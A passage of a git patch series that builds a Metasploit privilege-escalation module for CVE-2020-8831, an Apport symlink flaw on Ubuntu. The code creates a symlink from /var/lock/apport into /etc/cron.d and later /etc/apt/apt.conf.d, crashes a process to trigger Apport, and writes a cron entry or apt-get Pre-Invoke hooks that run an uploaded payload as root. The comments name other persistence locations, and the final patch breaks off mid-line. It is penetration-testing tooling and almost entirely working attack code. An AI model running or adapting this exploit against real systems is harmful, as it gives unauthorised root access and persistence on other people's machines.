[PATCH 09/47] Add instance vars, cleanup file writes --- .../cve_2020_8831_apport_symlink_privesc.rb | 28 +++++++++---------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index c6d1e45d436b3..5279794ed3a19 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -11,9 +11,6 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Linux::Kernel include Msf::Post::File - # TODO: targets in the initialize method and how they work - # TODO other priv esc vectors, startup folders, periodic scripts - # change name to apport exploit, checking lesser version of apport in check method, are they vunerable? def initialize(info = {}) super( update_info( @@ -29,7 +26,7 @@ def initialize(info = {}) }, 'License' => MSF_LICENSE, 'Author' => [ - 'gardnerapp' # mirageinfosec.cloud + 'gardnerapp' ], 'References' => [ [ @@ -99,9 +96,10 @@ def check CheckCode::Safe end - # hijack symlink by creating apport crash + # Crash Apport and hijack a symlink + # this will creat a rwx /etc/cron.d/lock owned by root def hijack_apport - # Create symlink, this will create a rwxrwxrwx root:root /etc/cron.d/lock + print_status("Creating symlink...") link = cmd_exec ('ln -s /etc/cron.d /var/lock/apport') print_status(link) @@ -110,9 +108,10 @@ def hijack_apport print_status("Triggering crash...") cmd_exec 'sleep 10s & kill -11 $!' - # need method for seeing if file is owned by root and combine with and gate - # TODO want to check if file is root owned to ensure exploit workedd - if !writable?('/etc/cron.d/lock') + @cron = '/etc/cron.d/lock' + + # Make sure it's writable and owned by root + unless exist?(@cron) fail_with(Failure::NotFound, 'Exploit was unable to create a crontab owned by root.') else print_good("Successfully created /etc/cron.d/lock") @@ -120,13 +119,13 @@ def hijack_apport end def write_payload - print_status 'Uploading payload' + print_status 'Uploading payload..' - payload_dir = datastore['WritableDir'] + payload_dir = datastore['Writable_Dir'] payload_dir += '/' unless pay_dir.ends_with? '/' - payload_file = datastore['PayloadFilename'] + payload_file = datastore['Payload_Filename'] @payload_dest = "#{payload_dir}#{payload_file}" @@ -140,9 +139,10 @@ def write_payload end def write_cron - cron_file = '/etc/cron.d/lock' cron_interval = datastore['CRON_INTERVAL'] - write_file(cron_file, "#{cron_interval} #{@payload_dest}") + data = "#{cron_interval} #{@payload_dest}" + write_file(@cron, data) + print_good "Successfully wrote crontab!" end def exploit From 8cef31f5cdde8f9ba03ff26e0472aac13e20907d Mon Sep 17 00:00:00 2001 From: Corey Date: Fri, 28 Feb 2025 15:27:09 -0500 Subject: [PATCH 10/47] Add Payload::EXE module, fix var names --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 5279794ed3a19..a5f3f9ba4e11f 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File + include Msf::Exploit::EXE def initialize(info = {}) super( @@ -123,7 +124,7 @@ def write_payload payload_dir = datastore['Writable_Dir'] - payload_dir += '/' unless pay_dir.ends_with? '/' + payload_dir += '/' unless payload_dir.ends_with? '/' payload_file = datastore['Payload_Filename'] @@ -132,9 +133,9 @@ def write_payload # create the payload if target.arch.first == ARCH_CMD payload = payload.encoded - upload_and_chmodx pay_dest, payload + upload_and_chmodx @payload_dest, payload else - upload_and_chmodx pay_dest, generate_payload_exe + upload_and_chmodx @payload_dest, generate_payload_exe end end From 68de77ee34d7d1923795f26c6c2bd2f5d264c3c6 Mon Sep 17 00:00:00 2001 From: Corey Date: Sun, 13 Apr 2025 14:52:50 -0400 Subject: [PATCH 11/47] Add /etc/ to cron dir --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index a5f3f9ba4e11f..0a043d1561614 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -13,6 +13,9 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::EXE def initialize(info = {}) + # other places besides crontab + # /etc/init.d + # ~/.bashrc super( update_info( info, @@ -72,7 +75,7 @@ def initialize(info = {}) def check # If you are testing the module apport needs to be reinstalled on boot every time with # sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb - # sudo rm -rf /var/lock/apport/ -> must be run after each subsequent test! + # sudo rm -rf /var/lock/apport/ /tmp/payload /etc/cron.d/lock && unlink /var/lock/apport -> must be run after each subsequent test! return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux' # Check apport version @@ -141,8 +144,9 @@ def write_payload def write_cron cron_interval = datastore['CRON_INTERVAL'] - data = "#{cron_interval} #{@payload_dest}" + data = "#{cron_interval} root #{@payload_dest}\n" write_file(@cron, data) + # crontab won't execute as root if group/other is writable print_good "Successfully wrote crontab!" end From 689bfdbda5f6875d2d6d0e8a1e4c32c628b39a52 Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Sun, 20 Apr 2025 15:04:10 -0400 Subject: [PATCH 12/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: bcoles --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 0a043d1561614..1629308f38ef6 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -30,7 +30,8 @@ def initialize(info = {}) }, 'License' => MSF_LICENSE, 'Author' => [ - 'gardnerapp' + 'Maximilien Bourgeteau', # Discovery + 'gardnerapp' # Metasploit ], 'References' => [ [ From 6055625f8034f861c75ac3870e31d81effd4974c Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Sun, 20 Apr 2025 15:04:23 -0400 Subject: [PATCH 13/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: bcoles --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 1629308f38ef6..eedf19463ff15 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -35,9 +35,10 @@ def initialize(info = {}) ], 'References' => [ [ - 'URL', 'https://nostarch.com/zero-day', # pg. 59 - 'URL', 'https://ubuntu.com/security/CVE-2020-8831', - 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831' + ['URL', 'https://nostarch.com/zero-day'], # pg. 59 + ['URL', 'https://ubuntu.com/security/CVE-2020-8831'], + ['URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1862348'], + ['CVE', '2020-8831'], ] ], 'Platform' => ['linux'], From 68683c3d49e2416d02d0b1ba753111c0d5112833 Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Sun, 20 Apr 2025 15:05:36 -0400 Subject: [PATCH 14/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: bcoles --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index eedf19463ff15..3871983fe6956 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -137,8 +137,7 @@ def write_payload # create the payload if target.arch.first == ARCH_CMD - payload = payload.encoded - upload_and_chmodx @payload_dest, payload + upload_and_chmodx @payload_dest, payload.encoded else upload_and_chmodx @payload_dest, generate_payload_exe end From 38686075b14908469a8ece504da54299e3fc071c Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Sun, 20 Apr 2025 15:06:04 -0400 Subject: [PATCH 15/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: bcoles --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 3871983fe6956..98ddb13a76c6a 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -69,7 +69,7 @@ def initialize(info = {}) ) register_options [ OptString.new('WRITABLE_DIR', [true, 'A directory we can write to.', '/tmp']), - OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))]), + OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]), OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *']) ] end From 1bd3a4a04c52e33f888a5ec1f879144851db5651 Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Sun, 20 Apr 2025 15:06:20 -0400 Subject: [PATCH 16/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: bcoles --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 98ddb13a76c6a..0bf9d7b57ec6b 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -131,7 +131,7 @@ def write_payload payload_dir += '/' unless payload_dir.ends_with? '/' - payload_file = datastore['Payload_Filename'] + payload_file = datastore['PAYLOAD_FILENAME'] @payload_dest = "#{payload_dir}#{payload_file}" From 6d52e905a7474f6b409faff369d0237a35f8e5f8 Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Sun, 20 Apr 2025 15:08:23 -0400 Subject: [PATCH 17/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: bcoles --- .../exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 0bf9d7b57ec6b..74a7a87e9ae18 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -152,6 +152,7 @@ def write_cron end def exploit + fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable") unless writable?(datastore['WritableDir']) hijack_apport write_payload From ec93425336f849e40bf0f6f3bf2517b6321f8a99 Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Sun, 20 Apr 2025 15:08:41 -0400 Subject: [PATCH 18/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: bcoles --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 74a7a87e9ae18..e543846fa18a4 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -24,7 +24,7 @@ def initialize(info = {}) On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, an attacker who can create a symlink to a privileged directory via /var/lock/apport will be - able to create files with global 0777 permissions. This module exploits this weaknes by creating a + able to create files with global 0777 permissions. This module exploits this weakness by creating a symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with elevated permissions. }, From 2417f587520c9056d13198d59c9bcd445cc3c648 Mon Sep 17 00:00:00 2001 From: Corey Date: Sun, 20 Apr 2025 15:10:59 -0400 Subject: [PATCH 19/47] Add advanced options --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 0a043d1561614..35ef12e08100f 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -66,10 +66,12 @@ def initialize(info = {}) ) ) register_options [ - OptString.new('WRITABLE_DIR', [true, 'A directory we can write to.', '/tmp']), OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))]), OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *']) ] + register_advanced_options [ + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) + ] end def check From 31bfb0407bee930c355ee6e86ea4fa601054f8e7 Mon Sep 17 00:00:00 2001 From: Corey Date: Sun, 20 Apr 2025 15:18:03 -0400 Subject: [PATCH 20/47] Check existence of /var/lock/apport --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index c5dc8b3d422bd..9d83dcd330bfe 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -109,6 +109,11 @@ def check def hijack_apport print_status("Creating symlink...") + + if exists? '/var/lock/apport' + fail_with(Failure::BadConfig, '/var/lock/apport already exists. Try removing this directory then running the module again. ') + end + link = cmd_exec ('ln -s /etc/cron.d /var/lock/apport') print_status(link) From cc7c14e2d0d6d7334264c16ec9badd5c3004f1bd Mon Sep 17 00:00:00 2001 From: Corey Date: Fri, 26 Sep 2025 10:51:35 -0400 Subject: [PATCH 21/47] Add comments --- .../exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 9d83dcd330bfe..08f9b16c20240 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -110,6 +110,7 @@ def hijack_apport print_status("Creating symlink...") + # Maybe we should just delete /var/lock/apport if it already exists?? if exists? '/var/lock/apport' fail_with(Failure::BadConfig, '/var/lock/apport already exists. Try removing this directory then running the module again. ') end From 43cdca182e9196517f099e7c9420ba1fc9703b9e Mon Sep 17 00:00:00 2001 From: Corey Date: Fri, 10 Oct 2025 11:37:45 -0400 Subject: [PATCH 22/47] Convert from crontab to apt-get hook --- .../cve_2020_8831_apport_symlink_privesc.rb | 41 +++++++++---------- 1 file changed, 20 insertions(+), 21 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 08f9b16c20240..6985119448d56 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -13,9 +13,6 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::EXE def initialize(info = {}) - # other places besides crontab - # /etc/init.d - # ~/.bashrc super( update_info( info, @@ -25,8 +22,7 @@ def initialize(info = {}) to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, an attacker who can create a symlink to a privileged directory via /var/lock/apport will be able to create files with global 0777 permissions. This module exploits this weakness by creating a - symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with - elevated permissions. + symbolic link to /etc/apt/conf.d/ to write a hook to apt-get which will trigger a root shell on the target. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -69,7 +65,7 @@ def initialize(info = {}) ) register_options [ OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]), - OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *']) + OpString.new('HOOKPATH', [false, 'APT configuration directory.', '/etc/apt/apt.conf/']) ] register_advanced_options [ OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/tmp']) @@ -79,7 +75,9 @@ def initialize(info = {}) def check # If you are testing the module apport needs to be reinstalled on boot every time with # sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb - # sudo rm -rf /var/lock/apport/ /tmp/payload /etc/cron.d/lock && unlink /var/lock/apport -> must be run after each subsequent test! + + # sudo rm -rf /var/lock/apport/ /tmp/payload /etc/apt/apt.conf.d/lock && unlink /var/lock/apport + # The above must be run after each subsequent test! return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux' # Check apport version @@ -101,6 +99,11 @@ def check return CheckCode::Appears end + # Make sure apt is all set. + # poached from modules/exploits/linux/apt_package_manager.rb + return CheckCode::Safe('apt-get not found.') unless command_exists?('apt-get') + return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH']) + CheckCode::Safe end @@ -115,20 +118,18 @@ def hijack_apport fail_with(Failure::BadConfig, '/var/lock/apport already exists. Try removing this directory then running the module again. ') end - link = cmd_exec ('ln -s /etc/cron.d /var/lock/apport') - print_status(link) + link = cmd_exec ("ln -s #{datastore['HOOKPATH']} /var/lock/apport") # Create crash and trigger apport print_status("Triggering crash...") cmd_exec 'sleep 10s & kill -11 $!' - @cron = '/etc/cron.d/lock' + @hook_file = "#{datastore['HOOKPATH']}/lock" - # Make sure it's writable and owned by root - unless exist?(@cron) - fail_with(Failure::NotFound, 'Exploit was unable to create a crontab owned by root.') + unless exist?(@hook_file) + fail_with(Failure::NotFound, "exploit was unable to create #{@hook_file}") else - print_good("Successfully created /etc/cron.d/lock") + print_good("Successfully created #{@hook_file}") end end @@ -151,12 +152,10 @@ def write_payload end end - def write_cron - cron_interval = datastore['CRON_INTERVAL'] - data = "#{cron_interval} root #{@payload_dest}\n" - write_file(@cron, data) - # crontab won't execute as root if group/other is writable - print_good "Successfully wrote crontab!" + # Maximize the number of apt commands our payload will run from + def write_hooks + hooks = %w[Update Upgrade Install].map {|cmd| %(APT::#{cmd}::Pre-Invoke {"#{@payload_dest}"};\n)} + hooks.each {|hook| write_file hook, @hook_file } end def exploit @@ -165,6 +164,6 @@ def exploit write_payload - write_cron + write_hook end end From 8735ab679916b44140d565ed9a30cffb22143f7a Mon Sep 17 00:00:00 2001 From: Corey Date: Tue, 14 Oct 2025 12:15:15 -0400 Subject: [PATCH 23/47] port to apt conf --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 6985119448d56..d4bdff49f1d2a 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -65,7 +65,7 @@ def initialize(info = {}) ) register_options [ OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]), - OpString.new('HOOKPATH', [false, 'APT configuration directory.', '/etc/apt/apt.conf/']) + OptString.new('HOOKPATH', [false, 'APT configuration directory.', '/etc/apt/apt.conf/']) ] register_advanced_options [ OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/tmp']) @@ -126,7 +126,7 @@ def hijack_apport @hook_file = "#{datastore['HOOKPATH']}/lock" - unless exist?(@hook_file) + unless exist?(@hook_file ) fail_with(Failure::NotFound, "exploit was unable to create #{@hook_file}") else print_good("Successfully created #{@hook_file}") From fce75053263d86e13789d34c393aa5f5a3ff35a3 Mon Sep 17 00:00:00 2001 From: Corey Date: Tue, 14 Oct 2025 15:52:48 -0400 Subject: [PATCH 24/47] use append file, add final message, method spelling errs --- .../local/cve_2020_8831_apport_symlink_privesc.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index d4bdff49f1d2a..9e7d607d0a541 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -22,7 +22,7 @@ def initialize(info = {}) to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, an attacker who can create a symlink to a privileged directory via /var/lock/apport will be able to create files with global 0777 permissions. This module exploits this weakness by creating a - symbolic link to /etc/apt/conf.d/ to write a hook to apt-get which will trigger a root shell on the target. + symbolic link to /etc/apt/apt.conf.d/ to write a hook to apt-get which will trigger a root shell on the target. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -65,7 +65,7 @@ def initialize(info = {}) ) register_options [ OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]), - OptString.new('HOOKPATH', [false, 'APT configuration directory.', '/etc/apt/apt.conf/']) + OptString.new('HOOKPATH', [false, 'APT configuration directory.', '/etc/apt/apt.conf.d/']) ] register_advanced_options [ OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/tmp']) @@ -124,7 +124,7 @@ def hijack_apport print_status("Triggering crash...") cmd_exec 'sleep 10s & kill -11 $!' - @hook_file = "#{datastore['HOOKPATH']}/lock" + @hook_file = "#{datastore['HOOKPATH']}lock" unless exist?(@hook_file ) fail_with(Failure::NotFound, "exploit was unable to create #{@hook_file}") @@ -155,7 +155,8 @@ def write_payload # Maximize the number of apt commands our payload will run from def write_hooks hooks = %w[Update Upgrade Install].map {|cmd| %(APT::#{cmd}::Pre-Invoke {"#{@payload_dest}"};\n)} - hooks.each {|hook| write_file hook, @hook_file } + hooks.each {|hook| append_file @hook_file, hook } + print_good "The next time apt-get is used to update, upgrade or install your payload will be triggered. Cheers ;)" end def exploit @@ -164,6 +165,6 @@ def exploit write_payload - write_hook + write_hooks end end From 0090f144979d7bd578ef0a9a61125639b14b9513 Mon Sep 17 00:00:00 2001 From: Corey Date: Fri, 17 Oct 2025 10:43:44 -0400 Subject: [PATCH 25/47] rubocop and minor changes --- .../cve_2020_8831_apport_symlink_privesc.rb | 39 +++++++++---------- 1 file changed, 19 insertions(+), 20 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 9e7d607d0a541..6112a5c48871e 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -22,7 +22,7 @@ def initialize(info = {}) to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, an attacker who can create a symlink to a privileged directory via /var/lock/apport will be able to create files with global 0777 permissions. This module exploits this weakness by creating a - symbolic link to /etc/apt/apt.conf.d/ to write a hook to apt-get which will trigger a root shell on the target. + symbolic link to /etc/apt/apt.conf.d/ to write a hook to apt-get which will trigger a root shell on the target. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -67,16 +67,16 @@ def initialize(info = {}) OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]), OptString.new('HOOKPATH', [false, 'APT configuration directory.', '/etc/apt/apt.conf.d/']) ] - register_advanced_options [ + register_advanced_options [ OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/tmp']) ] end def check # If you are testing the module apport needs to be reinstalled on boot every time with - # sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb + # sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb - # sudo rm -rf /var/lock/apport/ /tmp/payload /etc/apt/apt.conf.d/lock && unlink /var/lock/apport + # sudo rm -rf /var/lock/apport/ /tmp/payload /etc/apt/apt.conf.d/lock && unlink /var/lock/apport # The above must be run after each subsequent test! return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux' @@ -89,17 +89,17 @@ def check return CheckCode::Detected('Unable to determine apport version') if apport.blank? - # todo determine if prior versions of apport are vulnerable + # TODO: determine if prior versions of apport are vulnerable apport_version = Rex::Version.new(apport.split('-').first) vulnerable_version = Rex::Version.new('2.20.11') if apport_version == vulnerable_version - vprint_good("Apport appears to be vulnerable.") + vprint_good('Apport appears to be vulnerable.') return CheckCode::Appears - end + end - # Make sure apt is all set. + # Make sure apt is all set. # poached from modules/exploits/linux/apt_package_manager.rb return CheckCode::Safe('apt-get not found.') unless command_exists?('apt-get') return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH']) @@ -110,26 +110,25 @@ def check # Crash Apport and hijack a symlink # this will creat a rwx /etc/cron.d/lock owned by root def hijack_apport - - print_status("Creating symlink...") + print_status('Creating symlink...') # Maybe we should just delete /var/lock/apport if it already exists?? if exists? '/var/lock/apport' fail_with(Failure::BadConfig, '/var/lock/apport already exists. Try removing this directory then running the module again. ') end - - link = cmd_exec ("ln -s #{datastore['HOOKPATH']} /var/lock/apport") + + cmd_exec("ln -s #{datastore['HOOKPATH']} /var/lock/apport") # Create crash and trigger apport - print_status("Triggering crash...") + print_status('Triggering crash...') cmd_exec 'sleep 10s & kill -11 $!' - @hook_file = "#{datastore['HOOKPATH']}lock" + @hook_file = "#{datastore['HOOKPATH']}lock" - unless exist?(@hook_file ) - fail_with(Failure::NotFound, "exploit was unable to create #{@hook_file}") - else + if exist?(@hook_file) print_good("Successfully created #{@hook_file}") + else + fail_with(Failure::NotFound, "exploit was unable to create #{@hook_file}") end end @@ -154,9 +153,9 @@ def write_payload # Maximize the number of apt commands our payload will run from def write_hooks - hooks = %w[Update Upgrade Install].map {|cmd| %(APT::#{cmd}::Pre-Invoke {"#{@payload_dest}"};\n)} - hooks.each {|hook| append_file @hook_file, hook } - print_good "The next time apt-get is used to update, upgrade or install your payload will be triggered. Cheers ;)" + hooks = %w[Update Upgrade Install].map { |cmd| %(APT::#{cmd}::Pre-Invoke {"#{@payload_dest}"};\n) } + hooks.each { |hook| append_file @hook_file, hook } + print_good 'The next time apt-get is used to update, upgrade or install your payload will be triggered. Cheers ;)' end def exploit From eac2163c0560828f82b25f979595b3357bf36dfd Mon Sep 17 00:00:00 2001 From: Corey Date: Thu, 20 Nov 2025 11:09:24 -0500 Subject: [PATCH 26/47] Update review and rubocop --- .../cve_2020_8831_apport_symlink_privesc.rb | 12 +- .../multi/http/cve_2025_0868_doc_gpt_rce.rb | 117 ++++++++++++++++++ 2 files changed, 122 insertions(+), 7 deletions(-) create mode 100644 modules/exploits/multi/http/cve_2025_0868_doc_gpt_rce.rb diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 6112a5c48871e..6c559f39fabe5 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -53,8 +53,8 @@ def initialize(info = {}) } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2 April 2020', + 'Privileged' => true, + 'DisclosureDate' => '2020-4-2', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -65,10 +65,8 @@ def initialize(info = {}) ) register_options [ OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]), - OptString.new('HOOKPATH', [false, 'APT configuration directory.', '/etc/apt/apt.conf.d/']) - ] - register_advanced_options [ - OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/tmp']) + OptString.new('HOOKPATH', [false, 'APT configuration directory.', 